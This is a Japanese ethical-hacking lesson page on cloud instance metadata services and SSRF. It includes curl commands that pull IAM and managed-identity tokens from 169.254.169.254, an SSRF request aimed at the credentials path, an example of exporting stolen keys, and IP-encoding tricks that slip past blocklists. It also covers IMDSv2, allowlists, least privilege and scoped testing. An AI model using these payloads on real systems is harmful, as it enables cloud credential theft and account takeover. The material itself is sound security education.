メタデータとSSRF
クラウド固有の攻撃
「メタデータとSSRF」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
インスタンスメタデータサービス
すべてのクラウド VM は、特別な内部エンドポイントに問い合わせて、自身に関する情報を取得できます。これが インスタンスメタデータサービス(IMDS)です。重要なのは、インスタンスにアタッチされたロールの一時的な認証情報も、このサービスから取得できる点です。
- AWS / GCP / Azure はすべて
169.254.169.254でメタデータを公開しています - インスタンスの内部からのみアクセスできます
- ローカルプロセスからの認証は必要ありません
この利便性が、SSRF と組み合わさると攻撃手段になります。
AWS メタデータの読み取り(IMDSv1)
従来の IMDSv1 では、1 回の GET リクエストで、ロールの認証情報を含むメタデータが返されます。トークンは必要ありません。
アプリに SSRF がある場合、まさにこの点が IMDSv1 を危険にします。
# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleSSRF とは
Server-Side Request Forgery(SSRF) は、攻撃者がサーバーをだまして、自分の代わりに HTTP リクエストを送信させる脆弱性です。サーバーが、攻撃者から直接アクセスできない場所へのプロキシになります。
- サーバーが取得する URL パラメーター
- Webhook、PDF 生成機能、画像リサイズ機能
- ユーザーが指定した URL を受け取るあらゆる機能
クラウドにおける典型的な SSRF の標的は、メタデータエンドポイントです。
SSRF とメタデータの組み合わせ
危険な組み合わせは、SSRF のあるアプリによって、攻撃者がサーバーのアクセス先を 169.254.169.254 に指定できることです。サーバーはインスタンスの IAM 認証情報を取得し、それを返してしまいます。
これで攻撃者はクラウドの認証情報を手に入れ、多くの場合、アカウントの完全な乗っ取りへの足掛かりとなります。
# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png
# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role盗まれた認証情報の利用
メタデータのレスポンスには、アクセスキー、シークレットキー、セッショントークンが含まれています。攻撃者はこれらを環境変数に設定し、直ちにインスタンスロールとして操作できます。
ここから権限を列挙し、権限昇格の経路を探します。
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Confirm the stolen identity
aws sts get-caller-identity防御策としての IMDSv2
AWS は SSRF の脅威を抑えるために IMDSv2 を導入しました。IMDSv2 では、まず HTTP PUT リクエストでセッショントークンを取得する必要があります。多くの SSRF の仕組みは GET しか実行できないため、これは有効です。
IMDSv2 を必須にし、ホップ制限を低く設定すると、SSRF によるメタデータの窃取を大幅に減らせます。
# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/Azure と GCP のメタデータ
他のプロバイダーも、それぞれ独自の仕様でメタデータを公開しています。どちらも特別なヘッダーを要求するため、これ自体が小さな SSRF 対策になります。
- Azure では
Metadata: trueが必要です - GCP では
Metadata-Flavor: Googleが必要です
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'SSRF のバイパス手法
防御側は 169.254.169.254 をブラックリストに登録することがよくあります。攻撃者は、別の IP 表記やリダイレクトを使って、単純なフィルターを回避します。
- 10 進数 IP:
2852039166 - 同じアドレスの 8 進数表記や 16 進数表記
- メタデータ IP に解決される名前への DNS リバインディング
- リクエストをメタデータ URL へ転送するオープンリダイレクト
堅牢な防御では、元の文字列ではなく、名前解決後の IP を検証する必要があります。
# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/その他の SSRF の標的
メタデータが代表的な標的ですが、SSRF ではさらに多くの内部リソースに到達できます。
- localhost にバインドされた内部の管理パネルやダッシュボード
- 内部データベースやキャッシュ(Redis、Elasticsearch)
- Kubernetes API サーバーや kubelet のエンドポイント
- 外部には公開されていないその他のマイクロサービス
SSRF は、信頼された視点からネットワーク境界を実質的に突破します。
一連の攻撃への対策
SSRF からメタデータ窃取へ至る連鎖を断つには、多層的な防御が必要です。
- IMDSv2 を必須にし、メタデータのホップ制限を 1 に設定する
- 取得機能で使用する送信先 URL を検証し、許可リストで制限する
- DNS 名前解決後に、リンクローカルおよびプライベート IP 範囲へのリクエストをブロックする
- インスタンスロールに最小権限を適用し、認証情報を盗まれても被害を限定する
最小権限のロールを使えば、認証情報の窃取に成功されても被害を小さくできます。
許可された範囲だけをテストする
SSRF のテストでは、意図的に機密性の高い内部システムへ到達することがあります。慎重に行動してください。
- 対象ホストとクラウドアカウントがスコープ内であることを確認する
- 契約の範囲外にあるシステムへ侵入を広げない
- 認証情報にアクセスできることを証明したら、停止して報告する
メタデータへの到達は影響が大きいため、慎重に実証し、盗んだキーで無制限に操作しないでください。
確認問題
IMDSv2 を必須にすると、なぜ SSRF による認証情報の窃取を防ぎやすくなるのでしょうか。
まとめ: メタデータと SSRF
クラウドに特有で、影響の大きい攻撃チェーンについて学びました。
- メタデータサービス(169.254.169.254)は、インスタンスロールの認証情報を提供する
- SSRF により、攻撃者はサーバーにそのエンドポイントを取得させられる
- 盗まれた一時認証情報によって、アカウントを乗っ取れる
- IMDSv2 は PUT ベースのトークンを要求することで、SSRF の大部分を防ぐ
- URL の許可リスト、IP の検証、最小権限のロールで防御する
これで Cloud Pentesting は完了です。次のコースは Bug Bounty Hunting です。
AI チューターと学ぶ Ethical Hacking Academy — 無料
ブラウザでリアルコードを書いて実行し、24/7 の AI チューターから瞬時にサポートを受け、ウェブまたはアプリで続きから学習できます。
- コース
- 31
- レッスン
- 111
よくある質問
「メタデータとSSRF」レッスンは無料ですか?
はい。「メタデータとSSRF」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「メタデータとSSRF」で何を学びますか?
クラウド固有の攻撃 ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「メタデータとSSRF」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- クラウドの攻撃対象領域
- IAMの設定ミス
- S3とストレージの露出
- メタデータとSSRF